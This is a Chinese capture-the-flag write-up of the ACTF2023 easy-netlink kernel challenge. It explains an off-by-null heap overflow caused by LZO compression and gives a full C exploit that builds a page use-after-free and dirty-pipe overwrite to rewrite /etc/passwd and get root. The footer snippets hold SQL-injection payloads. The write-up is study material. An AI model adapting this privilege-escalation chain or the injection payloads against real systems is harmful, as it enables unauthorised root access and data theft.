【越界写null字节】ACTF2023 easy-netlink

news2024/11/29 6:34:55

前言

最近在矩阵杯遇到了一道 generic netlink 相关的内核题,然后就简单学习了一下 generic netlink 相关概念,然后又找了一到与 generic netlink 相关的题目。简单来说 generic netlink 相关的题目仅仅是将用户态与内核态的交互方式从传统的 ioctl 变成了 netlink,所以了解了 generic netlink 的交互方式,其实就跟传统的内核题没啥区别。

漏洞分析

  • 内核版本 v6.5.7smap/smep/kaslr 全开
  • 开启了 CONFIG_SLAB_FREELIST_RANDOMCONFIG_SLAB_FREELIST_HARDENED,但是不存在 cg 隔离
  • key_uring / pipe / fcntl 等相关系统调用都可以使用

bbs_nl_family 结构体如下:
在这里插入图片描述
可以看到这里定义了 15 个功能,注意这里不是设置的 ops,而是 split_opsbbs_nl_ops 如下:
在这里插入图片描述
从函数名可以看出,这里就存在对 typeadd/get/del 操作;对 titleadd/edot/del/get 操作;对 msgadd/edit/del/star/get 操作。
其中 type 的结构体定义如下:
在这里插入图片描述
title 的结构体定义如下:
在这里插入图片描述
msg 的结构体定义如下,因为我并没有分析所有的功能函数,所以这里有一些字段意义不明:
在这里插入图片描述
三者的关系如下:
在这里插入图片描述
这里 msg 我没有画出来,其是连接在 titlemsg_list 链表上的,这里调试发现 titlemsg 是一对一的似乎。

漏洞发生在 bbs_nl_add_msg_doit 函数中:
在这里插入图片描述
这里的伪代码不是很好看,这里逻辑如下:

unsigned int data_len = nlattr4->nla_len - 4;
if (data_len <= 1023) {
	void *data = nlattr4->data;
	void *ptr = kmalloc(data_len, GFP_KERNEL | GFP_ZERO);
	msg->compress_data = ptr;
	int len = strlen(data);
	memcpy(src, data, len); // char src[1072],所以这里不存在溢出
	// 将 src 中 data_len 的进行压缩,压缩后的数据存储在 ptr 中(包含压缩元数据)
	lzo1x_1_compress(src, data_len, ptr, v45, &wrk);
	goto LABEL_21;
}

这里分配的压缩后的存储区域刚好为输入的压缩数据的大小,而压缩后的数据包含一些压缩元数据。一般情况下,压缩后的数据确实比源输入数据小,但是这里我们可以精心输入一些输入数据,使得其压缩率非常低,即压缩的字节数<元数据的字节数,此时就会发生越界写的问题。

比如我们输入 512 字节的数据,那么此时分配的 ptr 的空间为 kmalloc-512,如果此时的压缩比很低,比如只压缩了 2 个字节,但是压缩的元数据为 3 个字节,那么此时压缩后的数据大小为:512 - 2 + 3 = 513 字节,所以此时就会向 ptr => kmalloc-512 中写入 513 字节,此时就会发送溢出写。当然这里的 data_len <= 1023 所以我们可以利用的堆块大小有较多的选择,这里我选择 kmalloc-512

最开始,我是让 gpt 帮我生成,但是都不行,其压缩比都比较高。最后我利用 python 的伪随机数生成器生成了一串序列:

import random

xx = []
for i in range(1024):
    x = random.randint(1, 255)
    while x == ord('"'):
        x = random.randint(1, 255)
    xx.append(x)

for i in xx:
    print("\\"+"x"+hex(i)[2:].zfill(2), end="")
print("")

\x18\x2e\x86\x2a\x07\xa7\xb7\x08\x63\xbf\xdf\x0b\xd8\x36\xde\xdd\x5a\x48\xf5\x78\x23\x9f\xb8\x2c\x49\x66\xc7\xa0\xee\x3e\xee\x9c\x44\x2a\x92\x5a\x6a\xc7\xdf\x6e\xa1\x98\x6d\x8f\xff\x2c\x21\x7b\x77\xbd\xbb\xda\xcc\x10\x58\x4c\x61\x15\x50\x40\xdb\x74\x70\xea\x57\xe0\x0d\xaf\x94\xe0\xf8\xf7\xbb\xe3\xd6\x88\xdc\x52\x43\x5a\x7f\x4e\xde\x96\xf6\xdb\x03\xa7\x96\x78\x3c\xee\x31\xc7\x23\xe6\xc9\x20\x58\x8f\xe6\x91\xf7\x7d\xc6\xa2\xcf\xa9\x39\x14\x89\x13\x7d\x88\xac\x1a\xf3\xa4\xa5\x59\xdd\x76\xa5\x64\x35\x4f\xc5\x18\x24\xf1\xde\x12\x48\x25\x09\xbd\x49\xd8\x76\xac\xf2\x07\x1c\xc7\x3b\x62\x34\xbb\xf6\x90\xd9\x97\x35\xf2\x48\x15\xc3\x79\xc3\x73\x03\xff\xa4\x59\x05\x76\xfb\x7e\x0f\x4b\x42\xa1\xe6\xd8\x21\xec\xf7\x26\x99\xbb\xe1\x08\x14\x60\xdd\xea\xd6\x55\x27\x90\x2d\xa8\x98\x1c\x5e\xc5\xba\x82\x37\xc2\xc6\x47\x3b\xff\xa7\x33\x54\x30\x66\x67\xe7\xcd\xc5\x8d\x60\xd3\xb6\x2c\xf7\x8f\x27\x47\x26\xe6\xcf\x02\x16\x42\x77\xc1\x9f\xa3\xa4\xd9\x69\xd0\x3e\x68\x4f\xbd\xb5\xac\xdd\x0f\x4c\xbc\x29\xdb\x5f\x91\x23\x06\xd9\xb1\xd4\xb0\xcb\x83\xcc\x58\x01\x26\xa4\x78\x1c\x6a\x0e\x7f\x76\x02\xb4\x14\x50\x0d\xf7\x51\x3d\x93\xcf\x5a\xa8\xb9\xcc\x68\xa0\xfd\xa3\xcd\x47\x5c\x58\xf1\x15\x9d\xd8\xdd\x56\xf7\xd4\x5e\x10\x99\xbd\xe5\x48\x86\x2a\x1b\x41\x10\xa5\x31\x1c\x21\x0a\x74\x64\x63\x64\x4a\x3f\x35\x4f\x53\x85\xf7\x5c\xbe\x33\xa2\x59\xd1\x78\x7a\x0c\xd0\xe6\x8e\xed\x79\xba\x7b\xb2\x07\xa6\x7e\x1d\x90\xf9\xaa\xed\x74\x99\xe5\x05\xa0\xde\x41\x99\x91\xa5\x22\x49\xe4\xe7\x71\x0a\x7c\x86\x32\x99\x9b\xa3\xbb\x89\xce\x6a\x2e\xaa\xf8\xc2\x85\x84\x91\x22\xae\xd7\x9c\xff\xc8\x41\xa9\x45\x36\x87\xad\xa8\x1c\xce\x09\x48\xfa\xaa\x51\x2f\x7e\x80\x57\x16\xff\x62\x4b\x45\x2c\x38\xc3\x1c\xfd\x83\x41\x9d\xfa\x22\xb1\x09\x90\xfc\x39\xa2\xce\xb7\x4a\xb3\x42\xd9\x7f\xb8\x6a\x9d\xa6\xf2\xa5\x73\x23\x45\xc8\x3b\x0e\xf7\x95\x36\x21\xfc\x7b\x84\xb7\xf6\x77\x58\xb1\x4c\x3f\xe4\x50\x3d\x30\xc7\x94\x31\xc0\x7a\x10\x2f\xc1\x06\xc9\x12\xbc\x55\xf8\x1b\x38\xa9\x31\x6f\x40\xa7\xc0\xa5\xa1\x3d\x3f\xe2\x80\x67\x03\x35\x8e\x31\xd0\x38\xf1\xd8\x88\x57\xd2\x89

这串序列的效果可以实现一个 kmalloc-512 off by null,即溢出写下一个相邻堆块的低字节为 null 字节。

漏洞利用

这里我选择利用 pipe_buffer 去构造 page uaf,然后在 page uaf 的基础上就可以随便玩了。我选择的是在 uaf page 上堆喷 pipe_buffer 从而打 dirty pipe,具体思路如下:

  • 交替堆喷 kmalloc-512 pipe_bufferkmalloc-512 user_key_paylaod,释放所有的 kmalloc-512 user_key_payload 构造一些空洞
  • 替换 msg 进行越界写 null 字节,大概率可以形成如下内存布局:
    在这里插入图片描述
  • close(original pipe),此时 page 会被释放,当时 victim pipe 仍然保留着对其的引用,所有成功构造 page uaf
  • uaf page 上堆喷大量的 kmalloc-512 pipe_buffersplice,然后就可以利用 victim pipe 对其进行读写

这里我选择的是修改 /etc/passwd,这里为了演示效果,修改下 init 脚本:

#!/bin/sh

chown root * -R

mount -t proc none /proc
mount -t tmpfs none /tmp
mount -t sysfs none /sys
mount -t devtmpfs none /dev

mkdir /dev/pts
mount /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /lib/module/bbs.ko
#lsmod
chmod +s /bin/busybox

cd /home/ctf
#setsid cttyhack setuidgid 0 sh
setsid cttyhack setuidgid 1000 sh

poweroff -f

使用 chown root * -R 设置文件的所有者;然后给 /bin/busybox 一个 s 权限,使得后面可以执行 su

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <assert.h>
#include <sys/resource.h>

#include <linux/genetlink.h>
#include <libmnl/libmnl.h>
#define PWN_NAME "bbs"
#define CMD_ADD_TYPE  1
#define ADD_TYPE_NAME 1
#define ADD_TYPE_DATA 2

#define CMD_GET_TYPE_DUMPIT 2

#define CMD_DELE_TYPE  3
#define DELE_TYPE_NAME 1

#define CMD_ADD_TITLE        4
#define ADD_TITLE_TYPE_NAME  1
#define ADD_TITLE_TITLE_NAME 2
#define ADD_TITLE_DATA       3

#define CMD_EDIT_TITLE        5
#define EDIT_TITLE_TYPE_NAME  1
#define EDIT_TITLE_TITLE_NAME 2
#define EDIT_TITLE_DATA       3

#define CMD_DELE_TITLE        6
#define DELE_TITLE_TYPE_NAME  1
#define DELE_TITLE_TITLE_NAME 2

#define CMD_ADD_MSG        8
#define ADD_MSG_TYPE_NAME  1
#define ADD_MSG_TITLE_NAME 2
#define ADD_MSG_MSG_NAME   3
#define ADD_MSG_DATA       4

#define CMD_DELE_MSG        10
#define DELE_MSG_TYPE_NAME  1
#define DELE_MSG_TITLE_NAME 2
#define DELE_MSG_MSG_NAME   3

#define CMD_STAR_MSG        11
#define STAR_MSG_TYPE_NAME  1
#define STAR_MSG_TITLE_NAME 2
#define STAR_MSG_MSG_NAME   3
#define STAR_MSG_NUMS       7

#define REDS "\033[31m\033[1m"
#define REDE "\033[0m"
#define fail_exit(msg) { printf(REDS"[Error %s, %d line, %s]: %s\n"REDE, \
                __FUNCTION__, __LINE__, __FILE__, msg);\
                exit(-1); }


void err_exit(char *msg)
{
        puts(msg);
        sleep(2);
        exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

uint32_t PWN_ID;
static int data_attr_cb(const struct nlattr *attr, void *data) {
        const struct nlattr **tb = data;
        int type = mnl_attr_get_type(attr);
        if (mnl_attr_type_valid(attr, CTRL_ATTR_MAX) < 0)
                return MNL_CB_OK;
        switch (type) {
                case CTRL_ATTR_FAMILY_NAME:
                        if (mnl_attr_validate(attr, MNL_TYPE_STRING) < 0) {
                                perror("mnl_attr_validate");
                                return MNL_CB_ERROR;
                        }
                        break;
                case CTRL_ATTR_FAMILY_ID:
                        if (mnl_attr_validate(attr, MNL_TYPE_U16) < 0) {
                                perror("mnl_attr_validate");
                                return MNL_CB_ERROR;
                        }
                        break;
                case CTRL_ATTR_VERSION:
                case CTRL_ATTR_HDRSIZE:
                case CTRL_ATTR_MAXATTR:
                        if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) {
                                perror("mnl_attr_validate");
                                return MNL_CB_ERROR;
                        }
                        break;
                case CTRL_ATTR_OPS:
                case CTRL_ATTR_MCAST_GROUPS:
                        if (mnl_attr_validate(attr, MNL_TYPE_NESTED) < 0) {
                                perror("mnl_attr_validate");
                                return MNL_CB_ERROR;
                        }
                        break;
        }
        tb[type] = attr;
        return MNL_CB_OK;
}

static int data_cb(const struct nlmsghdr *nlh, void *data) {
        struct nlattr *tb[CTRL_ATTR_MAX + 1] = {};
        struct genlmsghdr *genl = mnl_nlmsg_get_payload(nlh);
        mnl_attr_parse(nlh, sizeof(*genl), data_attr_cb, tb);
        if (tb[CTRL_ATTR_FAMILY_NAME]) {
                printf("name=%s\t", mnl_attr_get_str(tb[CTRL_ATTR_FAMILY_NAME]));
        }
        if (tb[CTRL_ATTR_FAMILY_ID]) {
                PWN_ID = mnl_attr_get_u16(tb[CTRL_ATTR_FAMILY_ID]);
                printf("id=%u\t", PWN_ID);
        }
        if (tb[CTRL_ATTR_VERSION]) {
                printf("version=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_VERSION]));
        }
        if (tb[CTRL_ATTR_HDRSIZE]) {
                printf("hdrsize=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_HDRSIZE]));
        }
        if (tb[CTRL_ATTR_MAXATTR]) {
                printf("maxattr=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_MAXATTR]));
        }
        printf("\n");
        return MNL_CB_OK;
}

void get_family_id() {
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        struct nlmsghdr *nlh;
        struct genlmsghdr *genl;
        int ret;
        unsigned int seq, portid;
        nlh = mnl_nlmsg_put_header(buf);
        nlh->nlmsg_type = GENL_ID_CTRL;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = seq = time(NULL);
        genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));
        genl->cmd = CTRL_CMD_GETFAMILY;
        genl->version = 1;
        mnl_attr_put_u32(nlh, CTRL_ATTR_FAMILY_ID, GENL_ID_CTRL);
        mnl_attr_put_strz(nlh, CTRL_ATTR_FAMILY_NAME, PWN_NAME);
        nl = mnl_socket_open(NETLINK_GENERIC);
        if (nl == NULL) {
                perror("mnl_socket_open");
                exit(EXIT_FAILURE);
        }
        if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
                perror("mnl_socket_bind");
                exit(EXIT_FAILURE);
        }
        portid = mnl_socket_get_portid(nl);
        if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
                perror("mnl_socket_sendto");
                exit(EXIT_FAILURE);
        }
        ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        while (ret > 0) {
                ret = mnl_cb_run(buf, ret, seq, portid, data_cb, NULL);
                if (ret <= 0)
                        break;
                ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        }
        if (ret == -1) {
                fail_exit("error");
        }
        mnl_socket_close(nl);
}

void add_type(char *type_name, char *data) {
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        struct nlmsghdr *nlh;
        struct genlmsghdr *genl;
        int ret;
        unsigned int seq, portid;
        nl = mnl_socket_open(NETLINK_GENERIC);
        if (nl == NULL) {
                perror("mnl_socket_open");
                exit(EXIT_FAILURE);
        }
        if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
                perror("mnl_socket_bind");
                exit(EXIT_FAILURE);
        }
        portid = mnl_socket_get_portid(nl);
        nlh = mnl_nlmsg_put_header(buf);
        nlh->nlmsg_type = PWN_ID;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = seq = time(NULL);
        genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));
        genl->cmd = CMD_ADD_TYPE;
        genl->version = 1;
        type_name[strlen(type_name)] = '\x00';
        if (strlen(data) > 128)
                data[128] = '\x00';
        else
                data[strlen(data)] = '\x00';

        mnl_attr_put_strz(nlh, ADD_TYPE_NAME, type_name);
        mnl_attr_put_strz(nlh, ADD_TYPE_DATA, data);
        if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
                perror("mnl_socket_sendto");
                exit(EXIT_FAILURE);
        }
        ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        while (ret > 0) {
                ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);
                if (ret <= 0)
                        break;
                ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        }
        if (ret == -1){
                perror("ERR");
                fail_exit("error");
        }
        mnl_socket_close(nl);
}

void add_title(char *type_name, char *title_name, char *data){
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        struct nlmsghdr *nlh;
        struct genlmsghdr *genl;
        int ret;
        unsigned int seq, portid;
        nl = mnl_socket_open(NETLINK_GENERIC);
        if (nl == NULL) {
                perror("mnl_socket_open");
                exit(EXIT_FAILURE);
        }
        if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
                perror("mnl_socket_bind");
                exit(EXIT_FAILURE);
        }
        portid = mnl_socket_get_portid(nl);
        nlh = mnl_nlmsg_put_header(buf);
        nlh->nlmsg_type = PWN_ID;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = seq = time(NULL);
        genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));
        genl->cmd = CMD_ADD_TITLE;
        genl->version = 1;
        type_name[strlen(type_name)] = '\x00';
        title_name[strlen(title_name)] = '\x00';
        if (strlen(data) > 128)
                data[128] = '\x00';
        else
                data[strlen(data)] = '\x00';
        mnl_attr_put_strz(nlh, ADD_TITLE_TYPE_NAME, type_name);
        mnl_attr_put_strz(nlh, ADD_TITLE_TITLE_NAME, title_name);
        mnl_attr_put_strz(nlh, ADD_TITLE_DATA, data);
        if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
                perror("mnl_socket_sendto");
                exit(EXIT_FAILURE);
        }
        ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        while (ret > 0) {
                ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);
                if (ret <= 0)
                        break;
                ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        }
        if (ret == -1){
                perror("ERR");
                fail_exit("error");
        }
        mnl_socket_close(nl);
}

void add_msg(char *type_name, char *title_name, char *msg_name){
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        struct nlmsghdr *nlh;
        struct genlmsghdr *genl;
        int ret;
        unsigned int seq, portid;
        nl = mnl_socket_open(NETLINK_GENERIC);
        if (nl == NULL) {
                perror("mnl_socket_open");
                exit(EXIT_FAILURE);
        }
        if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
                perror("mnl_socket_bind");
                exit(EXIT_FAILURE);
        }
        portid = mnl_socket_get_portid(nl);
        nlh = mnl_nlmsg_put_header(buf);
        nlh->nlmsg_type = PWN_ID;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = seq = time(NULL);
        genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));
        genl->cmd = CMD_ADD_MSG;
        genl->version = 1;
        type_name[strlen(type_name)] = '\x00';
        title_name[strlen(title_name)] = '\x00';
        msg_name[strlen(msg_name)] = '\x00';
        char msg[1024] = { 0 };
        strcpy(msg, "\x18\x2e\x86\x2a\x07\xa7\xb7\x08\x63\xbf\xdf\x0b\xd8\x36\xde\xdd\x5a\x48\xf5\x78\x23\x9f\xb8\x2c\x49\x66\xc7\xa0\xee\x3e\xee\x9c\x44\x2a\x92\x5a\x6a\xc7\xdf\x6;
        msg[strlen(msg)] = '\x00';
        mnl_attr_put_strz(nlh, ADD_MSG_TYPE_NAME, type_name);
        mnl_attr_put_strz(nlh, ADD_MSG_TITLE_NAME, title_name);
        mnl_attr_put_strz(nlh, ADD_MSG_MSG_NAME, msg_name);
        mnl_attr_put_strz(nlh, ADD_MSG_DATA, msg);
        if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
                perror("mnl_socket_sendto");
                exit(EXIT_FAILURE);
        }
        ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        while (ret > 0) {
                ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);
                if (ret <= 0)
                        break;
                ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        }
        if (ret == -1){
                perror("ERR");
                fail_exit("error");
        }
        mnl_socket_close(nl);
}

void inc_limit()
{
    int ret;
    struct rlimit open_file_limit;

    ret = getrlimit(RLIMIT_NOFILE, &open_file_limit);
    assert(ret >= 0);

    printf("[*] file limit: %ld\n", open_file_limit.rlim_max);

    open_file_limit.rlim_cur = open_file_limit.rlim_max;
    ret = setrlimit(RLIMIT_NOFILE, &open_file_limit);
    assert(ret >= 0);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

void dirty_pipe() {
        #define SPRAY_PIPE_NUMS (450)
        int pipe_fd[SPRAY_PIPE_NUMS][2];
//      #define ATTACK_FILE "/bin/busybox"
        #define ATTACK_FILE "/etc/passwd"
        #define ATTACK_SPRAY_NUMS (200)
        #define SPRAY_KEYS_NUMS (75)
        int file_fd[ATTACK_SPRAY_NUMS];
        int pipe_fd_[ATTACK_SPRAY_NUMS][2];
        int key_id[SPRAY_KEYS_NUMS];
        char type_name[0x20+1] = { 0 };
        char title_name[0x40+1] = { 0 };
        char msg_name[0x100+1] = { 0 };
        char data[0x1000] = { 0 };
        char buf[0x1000] = { 0 };
        char desc[0x100] = { 0 };
        memset(data, 'A', 0x100);
        get_family_id();

        strcpy(type_name, "pwnType");
        add_type(type_name, data);
        puts("===================== check ====================");
        puts("[+] CHECK");
        system("id");
        system("ls -alh /etc/passwd");
        system("cat /etc/passwd");
        system("echo 'AAAA' > /etc/passwd");

        puts("===================== pwn ======================");
        puts("[+] Prepare some title objects");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                sprintf(title_name, "%s%d", "pwnTitle", i);
                add_title(type_name, title_name, data);
        }

        puts("[+] Spraying filp && pipe_buffer for dirty pipe");
        for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {
                file_fd[i] = open(ATTACK_FILE, O_RDONLY);
                if (file_fd[i] < 0) err_exit("open");
        }
        for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {
                if (pipe(pipe_fd_[i]) < 0) fail_exit("pipe");
//              write(pipe_fd_[i][1], "XiaozaYa", 8);
        }

        puts("[+] Spraying pipe_buffer to prepare for PAGE UAF");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (pipe(pipe_fd[i]) < 0) fail_exit("pipe");
        }
//      puts("[+] DEBUG");
//      getchar();

        puts("[+] Fcntl pipe_buffer to kmalloc-512 and alloc kmalloc-512 user_key_payload");
        int start = SPRAY_PIPE_NUMS - SPRAY_KEYS_NUMS;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                sprintf(desc, "XiaozaYa-%d", i);
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*8) < 0) fail_exit("fcntl");
                write(pipe_fd[i][1], "XiaozaYa", 8);
                uint64_t nr = 0xdead0000+i;
                write(pipe_fd[i][1], &nr, 8);
                if (i >= start && i < SPRAY_KEYS_NUMS + start)
                        if ((key_id[i-start] = key_alloc(desc, buf, 248)) < 0) fail_exit("key_alloc");
        }
//      puts("[+] DEBUG");
//      getchar();

        puts("[+] Freeing kmalloc-512 user_key_payload to construct some holes");
        for (int i = 0; i < SPRAY_KEYS_NUMS; i++) {
                if (key_revoke(key_id[i]) < 0) fail_exit("key_revoke");
                if (key_unlink(key_id[i]) < 0) fail_exit("key_unlink");
        }
        sleep(2);
        uint64_t victim_idx   = -1;
        uint64_t original_idx = -1;

        puts("[+] Spraying msg to occupy and construct PAGE UAF");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                memset(title_name, 0, sizeof(title_name));
                memset(msg_name, 0, sizeof(msg_name));
                sprintf(title_name, "%s%d", "pwnTitle", i);
                sprintf(msg_name, "%s%d", "pwnMsg", i);
                add_msg(type_name, title_name, msg_name);
        }

        puts("[+] Check Hit or Not");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                char tag[0x10] = { 0 };
                uint64_t nr = -1;
                read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], &nr, 8);
                if ((nr&0xffff0000) != 0xdead0000) continue;
//              printf("%#x-%#lx\n", i, nr);
//              puts(tag);
                if (!strcmp(tag, "XiaozaYa") && (nr-0xdead0000) != i) {
                        victim_idx = i;
                        original_idx = nr - 0xdead0000;
                        break;
                }
        }

        if (victim_idx == -1) fail_exit("So Bad");
        printf("[+] victim_idx: %ld\n", victim_idx);
        printf("[+] original_idx: %ld\n", original_idx);
        memset(buf, 'A', sizeof(buf));
        write(pipe_fd[victim_idx][1], buf, 192+sizeof(struct pipe_buffer));
        read(pipe_fd[victim_idx][0], buf, 192);

        close(pipe_fd[original_idx][0]);
        close(pipe_fd[original_idx][1]);
        puts("[+] Fcntl attack_pipe to kmalloc-512 and occupy UAF PAGE");
        for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {
                if (fcntl(pipe_fd_[i][1], F_SETPIPE_SZ, 0x1000*4) < 0) fail_exit("fcntl");
        }

        for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {
                loff_t offset = 1;
                if (splice(file_fd[i], &offset, pipe_fd_[i][1], NULL, 1, 0) <= 0) fail_exit("fcntl");
        }

        memset(buf, 0, sizeof(buf));
        struct pipe_buffer evil_buf;
        puts("[+] Spraying some kmalloc-512 user_key_payload to occupy the rest objects");
        memset(desc, 0, sizeof(desc));
        for (int i = 0; i < SPRAY_KEYS_NUMS / 2; i++) {
                sprintf(desc, "GO-%d", i);
                if ((key_id[i] = key_alloc(desc, buf, 248)) < 0) fail_exit("key_alloc");
        }

        uint64_t page_ops = 0xffffffff82227860;
        read(pipe_fd[victim_idx][0], &evil_buf, sizeof(struct pipe_buffer));
        if (((uint64_t)evil_buf.ops&0xffffffff00000fff) != (page_ops&0xffffffff00000fff)) {
                fail_exit("So Bad");
        }

        printf("[======= dump page    =====] %p\n",  evil_buf.page);
        printf("[======= dump offset  =====] %d\n",  evil_buf.offset);
        printf("[======= dump len     =====] %d\n",  evil_buf.len);
        printf("[======= dump ops     =====] %p\n",  evil_buf.ops);
        printf("[======= dump flags   =====] %#x\n", evil_buf.flags);
        printf("[======= dump private =====] %ld\n", evil_buf.private);

        int evil_idx = evil_buf.offset - 1;

//      getchar();
//      memset(buf, '\x00', sizeof(buf));
        evil_buf.offset = 0;
        evil_buf.len = 0;
        evil_buf.flags = 0x10;
        write(pipe_fd[victim_idx][1], &evil_buf, sizeof(struct pipe_buffer));
        char *cmd = "root::0:0:root:/root:/bin/sh\x00";
        for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {
                if (write(pipe_fd_[i][1], cmd, strlen(cmd)+1) < 0) fail_exit("write pipe")
        }
        puts("===================== root =====================");
        puts("So cool~~~");
        system("cat /etc/passwd");
        system("su root");
        puts("EXP NERVER END!");
//      while(1) {}
}

int main() {
        bind_core(0);
        inc_limit();
        setbuf(stdout, 0);
        dirty_pipe();
        return 0;
}

效果如下:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1804530.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

以sqlilabs靶场为例,讲解SQL注入攻击原理【42-53关】

【Less-42】 使用 or 11 -- aaa 密码&#xff0c;登陆成功。 找到注入点&#xff1a;密码输入框。 解题步骤&#xff1a; # 获取数据库名 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名 and updatexml(1,concat(0x7e,(select group_conca…

CSS函数: translate、translate3d的使用

translate()和translate3d()函数可以实现元素在指定轴的平移的功能。函数使用在CSS转换属性transform的属性值。实现转换的函数类型有&#xff1a; translate()&#xff1a;2D平面实现X轴、Y轴的平移translate3d()&#xff1a;3D空间实现位置的平移translateX()&#xff1a;实…

Spring Boot整合Jasypt 库实现配置文件和数据库字段敏感数据的加解密

